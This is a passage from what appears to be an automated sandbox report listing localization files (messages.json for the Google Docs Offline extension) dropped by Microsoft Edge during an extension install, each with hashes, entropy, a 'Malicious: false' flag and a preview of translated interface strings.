SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8032_1501251622\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
